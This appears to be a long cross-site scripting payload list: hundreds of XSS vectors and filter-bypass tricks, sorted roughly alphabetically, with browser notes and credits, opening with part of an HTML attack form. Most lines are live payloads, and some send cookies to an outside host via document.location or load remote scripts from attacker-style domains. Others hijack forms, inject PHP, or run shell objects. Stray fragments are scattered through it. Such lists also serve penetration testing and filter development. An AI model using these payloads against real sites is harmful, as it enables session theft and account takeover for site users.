<input type="hidden" name="token" value="3b9c3172632a51f743cdf2ed694fcd61" /><!-- replace it with a valid and not expired token -->
<input type="hidden" name="anon" value=0 />
<input type="hidden" name="priv" value=0 />
<input type="submit" value="trigger xss." />
</form>
</body>
</html>
<
<<
<<<
=
>
:
'
"
(
)
�</form><input type="date" onfocus="alert(1)">
<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
({})[$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164\50/ @0x6D6172696F /\51')()
1<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
"><h1/onmouseover='\u0061lert(1)'>%00
"><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E
%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E
%3cscript%3ealert(document.cookie);%3c%2fscript%3e
%3cscript%3ealert("XSS");%3c/script%3e
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
a
<a href=[�]"� onmouseover=prompt(1)//">XYZ</a
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
A collection of XSS Attack vectors
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a?);
aha <script src=>alert(/IE|Opera/)</script>
<a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a> #Chrome #XSS @RSnake
<a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a
<a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<a href="data:text/html;base64xoxoxox,<body/onload=alert(1)>">click</a> by @kkotowicz
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
<a href="data:text/html,<script>eval(name)</script>" target="alert(' @garethheyes @0x6D6172696F ')">click</a>
<a href="feed:javascript:alert(1)">click</a> Firefox
<A HREF="h
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://google.com/">XSS</A>
<a href="http://www﹒example﹒com ">click</a> by @_cweb
<a href="http://www。example。com">click</a> by @_cweb
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<a href="javascript:alert%252831337%2529">Hello</a>
<a/href="javascript: javascript:prompt(1)"><input type="X">
<a href="javascript:alert(1)">click</a> non-IE
<a href="jAvAsCrIpT:alert(1)">X</a>
<a href=javascript:alert(document.cookie)>Click Here</a>
<a href="javascript:\u0061le%72t(1)"><button>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
<a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a>
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>clickme #IE #xssfilter @kinugawamasato
<a href="javascript:alert(-1)"
<a <!-- --> href="javascript:alert(-1)">hello</a>
<a <!-- href="javascript:alert(31337);">Hello</a>
<a href="#" onclick="alert(' ');alert(2 ')">name</a> Classic html entity inject vector
<A HREF="//www.google.com/">XSS</A>
"/></a></><img src=1.gif onerror=alert(1)>
alert(a.source)</SCRIPT>
alert(String.fromCharCode(88,83,83));'))">
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//></SCRIPT>--!><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
";alert('XSS');//
A nice opera xss: Put 65535 Bytes before and Unicode Sign by @insertScript
<a rel="noreferrer" href="//google.com">click</a>
ASP trick: ?input1=<script/&in%u2119ut1=>al%u0117rt('1')</script> by @IRSDL
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
<BASE HREF="javascript:alert('XSS');//">
<BGSOUND SRC="javascript:alert('XSS');">
<body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
</BODY></HTML>
<body onload="$})}}}});alert(1);({0:{0:{0:function(){0({"> Chrome crazy vector! by @cgvwzq
<body onLoad="alert('XSS');"
<BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert("XSS")>
<BODY onload!#$%&()*~+_.,:;?@[/|\]^`=alert("XSS")>
"><BODY onload!#$%&()*~+_.,:;?@[/|]^`=alert("XSS")>
<body/onload=<!-->
alert(1)>
<body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'> Vbscript XHR by @masa141421356
<body onLoad="while(true) alert('XSS');">
<body onunload="javascript:alert('XSS');">
#Bootstrap tooltip.js xss some other plugins (e.g typeahead,popover) are also the same problem //cc @twbootstrap
<br size="&{alert('XSS')}">
<BR SIZE="&{alert('XSS')}">
</br style=a:expression(alert())>
<button form=hijack_form_id formaction=//evil style="position:absolute;left:0;top:0;width:100%;height:100%"><plaintext> form hijacking <img src='//evil by @lcamtuf
Bypass IE8 flash docuemnt object protection by @irsdl
Bypass IE8 version flash docuemnt object protection by @jackmasa
Bypass IE9 flash docuemnt object protection by @irsdl
Bypass IE all version flash docuemnt object protection by @gainover1
c
<![CDATA[<]]]]><![CDATA[>SCRIPT<![CDATA[>]]]]><![CDATA[>alert('XSS');<![CDATA[<]]]]><![CDATA[>/SCRIPT<![CDATA[>]]]]><![CDATA[>
<![CDATA[<script>var n=0;while(true){n;}</script>]]]]><![CDATA[>
Classic IE backtick DOM XSS: <img src="xx:x" alt="``onerror=alert(1)"><script>document.body.innerHTML=''</script>
Clever webkit xss auditor bypass trick <script?=data:,alert(1)<!-- by @cgvwzq
Clickjacking with history.forward() and history.back() by @lcamtuf
Clipboard-hijack without script and css: http://<bdo dir=rtl>elgoog</bdo>.com
[color=red' onmouseover="alert('xss')"]mouse over[/color]
[color=red width=expression(alert(123))][color]
Components.lookupMethod(self, 'alert')(1) #firefox
#CSS expression <style>*{font-family:'Serif}';x[value=expression(alert(URL=1));]{color:red}</style>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<div/onmouseover='alert(1)'> style="x:">
<div onmouseover='alert(1)'>DIV</div>
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<div style="color:rgb(''�x:expression(alert(URL=1))"></div> CSS and CSS :P
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
<div/style="width:expression(confirm(1))">X</div> {IE7}
<div style="x:expression((window.r==1)?'':eval('r=1;
document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=alert(1)>') #IE #XSS
document.domain='com' chrome/safari same domain suffix cross-domain trick.
DOM clobbering:<form name=document><image name=body> clobbered document->body
DOM clobbering:<form name=location > clobbered location object on IE.
e
#E4X <{alert(1)}></{alert(2)}>.(alert(3)).@wtf.(wtf) by @garethheyes
#E4X function::['location']='javascript'':alert(/FF/)'
<? echo('<scr)'; echo('ipt>alert("XSS")</script>'); ?>
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
<![endif]-->
#ES #FF for(location of ['javascript:alert(/ff/)']);
Event.prototype[0]='@garethheyes',Event.prototype.length=1;Event.prototype.toString=[].join;onload=alert #webkit #opera
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
exp/*<A STYLE='no\xss:noxss("**");
external.NavigateAndFind(' ',[],[]) #IE #URLredirect
FF <a href="//ⓜⓜⓜⓔ︒ⓜⓔ">click</a> url trick by @jackmasa
FF <a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a> by @0x6D6172696F
FF <applet code=javascript:alert('sgl')> by @jackmasa
FF <img src="jar:!/"> no referrer by @sneak_
Firefox <a href="https://4294967298915183000">click</a>=>google by @garethheyes
#Firefox <a href="x:alert(1)" id="test">click</a> <script>eval(test'')</script> by @cgvwzq
Firefox clipboard-hijack without script and css : http://<img alt="evil/#" width=0 height=0 >
Firefox cookie xss: with(document)cookie='∼≩≭≧∯≳≲≣∽≸≸∺≸∠≯≮≥≲≲≯≲∽≡≬≥≲≴∨∱∩∾',write(cookie); by @jackmasa
Firefox data uri can inherit dom-access. <iframe src="data:D,<script>alert(top.document.body.innerHTML)</script>">
Firefox E4X vector alert(<xss>xs{[function::status]}s</xss>) it is said E4H would replace E4X :P
Firefox funny vector for(i=0;i<100;) find(); by @garethheyes
Firefox <iframe src=view-source://xxxx.com>; with drag and drop
Firefox <img src=javascript:while([{}]);>
Firefox link host dom xss https://t.co/aTtzHaaG by @garethheyes
Firefox statusline spoofing<math><maction actiontype="statusline#http://google.com" href="//evil">click by LeverOne
#Firefox syntax broken try{*}catch(e if(alert(1))){} by @garethheyes
<font style='color:expression(alert(document.cookie))'>
</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
//<form/action=javascript:alert(document.cookie)><input/type='submit'>//
<form><a href="javascript:\u0061lert(1)">X
<form><button formaction=javascript:alert(1)>CLICKME
<form><iframe 	  src="javascript:alert(1)" 	;>
<form><isindex formaction="javascript:confirm(1)"
<form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
<h1 onerror=alert(/@0x6D6172696F/)>XSS</h1><style>*:after{content:url()}</style> #firefox
header('Refresh: 0;url=javascript:alert(1)');
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD><SCRIPT>alert('XSS');</SCRIPT>
history.pushState([],[],'/xssvector') HTML5 URL spoofing!
</HTML>
HTML5 entity char <a href="javas	cri
pt:alert(' @garethheyes ')">test</a>
<HTML><BODY>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<HTML xmlns:xss>
http://www.google<script .com>alert(document.location)</script
http://www.<script>alert(1)</script .com
i
IE6-8,IE9(quick mode) with jQuery<1.7 $("button").val("<iframe src=vbscript:alert(1)>") by @masa141421356
IE8 document.write('<img src="<iframe/onload=alert(1)>\0">')
IE9 <script/onload=alert(1)></script>
IE all version CSRF vector <img lowsrc=//google.com>
IE cool expression xss <div id="alert(/@0x6D6172696F/)" style="x:expression(eval)(id)">
IE <!--[if<img src=x:x onerror=alert(5)//]--> by @0x6D6172696F H5SC#115
#IE <iframe><iframe src=javascript:alert(/@jackmasa/)></iframe>
IE <!-- `<img/src=xx:xx onerror=alert(1)//--!> by @jackmasa H5SC:
IE <input value="<script>alert(1)</script>" ` /> by @hasegawayosuke
IE JSON hijack with UTF-7 json={'x':'',x:location='1'} <script src=... charset=utf-7></script>
IE <script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script> @thornmaker , @sirdarckcat
IE UTF7 BOM XSS <link rel=stylesheet href='data:,?*%7bx:expression(alert(1))%7D' > by @garethheyes
IE vector location='vbscript:alert(1)'
IE xss filter bypass 0day :<script/%00%00v%00%00>alert(/@jackmasa/)</script> and %c0″//(%000000%0dalert(1)// #IE #0day
IE xss filter bypass 0day : <xml:namespace prefix=t><import namespace=t implementation=..... by @gainover1 #IE #0day
if(1)alert(' @jackmasa ')}{ works in firebug and webkit's console
<!--[if gte IE 4]>
<![if<iframe/onload=vbs::alert[:]> #IE by @0x6D6172696F, @jackmasa
<iframe/%00/ src=javaSCRIPT:alert(1)
<iframe %00 src="	javascript:prompt(1)	"%00>
"><iframe%20src="http://google.com"%%203E
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<iframe/onreadystatechange=alert(1)
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u006worksinIE>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"></iframe><script>alert(123)</script>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<iframe/src="data:text/html,<svg onload=alert(1)>"
<iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe srcdoc='<body onload=prompt(1)>'>
<iframe srcdoc='<svg/onload=alert(/@80vul/)>'> #chrome
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt/*iframe/src*/>
<iframe src="jar://html5sec.org/test.jar!/test.html"></iframe> Upload a jar file => Firefox XSS by @0x6D6172696F
<iframe src=javascript:alert(document.location)>
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
<iframe/src \/\/onload = prompt(1)
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
If you want to share your cool vector, please do not hesitate to let me know :)
<IMG
<img/	  src=`~` onerror=prompt(1)>
<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>
<IMG%20SRC='javasc ript:alert(document.cookie)'>
<IMG%20SRC='javascript:alert(document.cookie)'>
<img language=vbs src=<b onerror=alert#1/1#>
<img src=`%00`
 onerror=alert(1)

<img/src=`%00` onerror=this.onerror=confirm
<img/src=@  onerror = prompt('1')
<img src=foo.png onerror=alert(/xssed/) />
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1)
<img src=http://www.google.fr/images/srpr/logo3w.png onload=alert(this.ownerDocument.cookie) width=0 height= 0 /> #
<img src="http://www.w3schools.com/tags/planets.gif" width="145" height="126" alt="Planets" usemap="#planetmap"><map name="planetmap"><area shape="rect" coords="0,0,145,126" a-=">" href="javascript:alert(-1)"></map>
<img src ?itworksonchrome?\/onerror = alert(1)
<img src ?itworksonchrome?\/onerror = alert(1)???
<img src="javascript:alert('XSS')">
<IMG SRC=`javascript:alert("'XSS'")`>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');
<IMG SRC="livescript:[code]">
<IMG SRC="mocha:[code]">
<--`<img/src=` onerror=alert(1)> --!>
<--`<img/src=` onerror=alert(1)> --!>
<img src="/" =_=" title="onerror='prompt(1)'">
<IMG SRC='vbscript:msgbox("XSS")'>
"><img src=x onerror=prompt(1);>
"><img src=x onerror=window.open('https://www.google.com/');>
<![<img src=x:x onerror=`alert(/ @jackmasa /)//`]-->
<img src=`xx:xx`onerror=alert(1)>
<IMG STYLE="xss:expr/*XSS*ession(alert('XSS'))">
<?import namespace="t" implementation="#default#time2">
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
Inertia-Clickjacking for(i=10;i>1;i--)alert(i);new ActiveXObject("WScript.shell").Run('calc.exe',1,true); by @80vul
innerText DOM XSS: innerHTML=innerText
Input[hidden] XSS <input type=hidden style=`x:expression(alert(/ @garethheyes /))`> target it.
<input/onmouseover="javaSCRIPT:confirm(1)"
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<input type="text" value=``<div/onmouseover='alert(1)'>X</div>
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<!-- --!><input value="--><body/onload=`alert(/ @jackmasa /)//`"> #IE #XSS
<input value=<><iframe/src=javascript:confirm(1)
<i/onclick=URL=name> IE less xss,20 chars. by @0x6D6172696F
@irsdl challenge result:
<isindex action="javas	cript:alert(1)" type=image>
<isindex formaction=javascript:alert(1)> by @jackmasa
j
jQuery 1.8 a new method: $.parseHTML('<img src=xx:X onerror=alert(1)>')
#jQuery super less-xss,work in IE: $(URL) 6 chars
JS Array Hijacking with MBCS encodings ppt by @hasegawayosuke
JSLR( @garethheyes ) challenge result:
JSON XSS Tips: /json.cgi?a.html by @hasegawayosuke
JSON XSS Tips: /json/.html with PHP and .NET by or /json;.html with JSP by @superevr
Just don't support IE <a href=[0x0b]" onclick=alert(1)//">click</a>
">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
l
<LAYER SRC="http://ha.ckers.org/
<link href="javascript:alert(1)" rel="next"> Opera, pressing the spacebar execute!
<
<
<
<
<script>alert(document.cookie);<script>alert
<script>alert(document.cookie);</script>
'>><marquee><h1>XSS</h1></marquee>
'">><marquee><h1>XSS</h1></marquee>
<marquee onstart='javascript:alert(1)'>^__^
<marquee><script>alert('XSS')</script></marquee>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<math><script>sgl='<img/src=xx:x onerror=alert(1)>'</script> chrome firefox opera vector by @jackmasa
<meta charset=gbk><script>a='xࠄ\';alert(1)//';</script> by @garethheyes
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<meta http-equiv=refresh content="0 javascript:alert(1)"> #opera
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<meta http-equiv="refresh" content="0;url=http://good/[>>>inj];url=http://evil/[<<<inj]"> IE6-7 Inject vector by @kinugawamasato
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<meta http-equiv=refresh content="?,javascript:alert(1)"> #chrome
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
$=<>@mozilla.org/js/function</>;$::[<>alert</>](/@superevr/) #firefox
<name>','')); phpinfo(); exit;/*</name>
New dom xss vector xxx.innerHTML=document.title by @0x6D6172696F
New spec:<iframe srcdoc="<svg/onload=alert(domain)>"> #chrome 20 by @0x6D6172696F
new XMLHttpRequest().open("GET", "data:text/html,<svg onload=alert(/@irsdl/)></svg>", false); #firefox #datauri
New XSS vector (#Opera Specific) <sVg><scRipt %00>prompt(/@soaj1664ashar/)
Nice IE DOM XSS: <div id=d><x xmlns="><body onload=alert(1)"><script>d.innerHTML=‘’</script> by LeverOne
No dos expression vector <i style=x:expression(alert(URL=1))>
No referer : <iframe src="javascript:'<script src=>;</script>'"></iframe>
<noscript><!--</noscript><img src=xx:x onerror=alert(1) --> non-IE
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik></object>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
<object data=javascript:\u0061le%72t(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
" onfocus=alert(document.domain) "> <"
" onhover="javascript:alert(-1)"
' onmouseover=alert(/Black.Spook/)
Opera <a href="data:text/html;base64,PHN2Zy萨9vbmxv晕YWQ<>>9YWxlc>>>nQoMSk">click</a> variant base64 encode. by @jackmasa
Opera bug? <img src=//\ onload=alert(1)>
Opera cross-domain set cookie 0day: document.cookie='xss=jackmasa;domain=.me.'
Opera data:message/rfc822 #XSS by @insertScript
Opera:<style>*{-o-link:'data:text/html,<svg/onload=alert(/@garethheyes/)>';-o-link-source:current}</style><a href=1>aaa
Opera <svg><animation x:href=javascript:alert(1)> SVG animation vector by @0x6D6172696F
Opera <svg><image x:href="data:image/svg-xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"> by LeverOne H5SC#88
Opera URL spoofing vuln data://mmme.me by @jackmasa POC:
p
perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
perl -e 'print "<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<?php header('content-type:text/html;charset=utf-7-utf-8-shift_jis');?> IE decides charset as #utf-7 @hasegawayosuke
</plaintext\></|\><plaintext/onmouseover=prompt(1)
r
Reverse 401 basic auth phishing by @jackmasa POC:
s
S
Safari empty location bar bug by @jackmasa POC:
Safari location object pollution tech: by @kinugawamasato
Safari URL spoofing about://mmme.me POC:
<<scr\0ipt/src=http://xss.com/xss.js></script
"><script>"
<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
<script>++1-+?(1)</script>
<script>+-+-1-+-+alert(1)</script>
<ScRipT 5-0*3?=>prompt(1)</ScRipT giveanswerhere=?
<script ~~~>alert(0%0)</script ~~~>
"><script>alert(0)</script>
<%<!--'%><script>alert(1);</script -->
<script>alert(1);</script>
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
'><script>alert(document.cookie);</script>
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
<script>alert(document.head.childNodes[3].text)</script>
<script>alert(document.head.innerHTML.substr(146,20));</script>
<script ^__^>alert(String.fromCharCode(49))</script
<script>alert(String.fromCharCode(88,83,83))</script>
"><script alert(String.fromCharCode(88,83,83))</script>
"><script>alert('test')</script>
='><script>alert("xss")</script>
<<script>alert("XSS");//<</script>
<script>alert('XSS');</script>
<script>alert("XSS")</script>
'">><script>alert('XSS')</script>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<SCRIPT>alert('XSS');</SCRIPT>
<SCRIPT>a=/XSS/
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
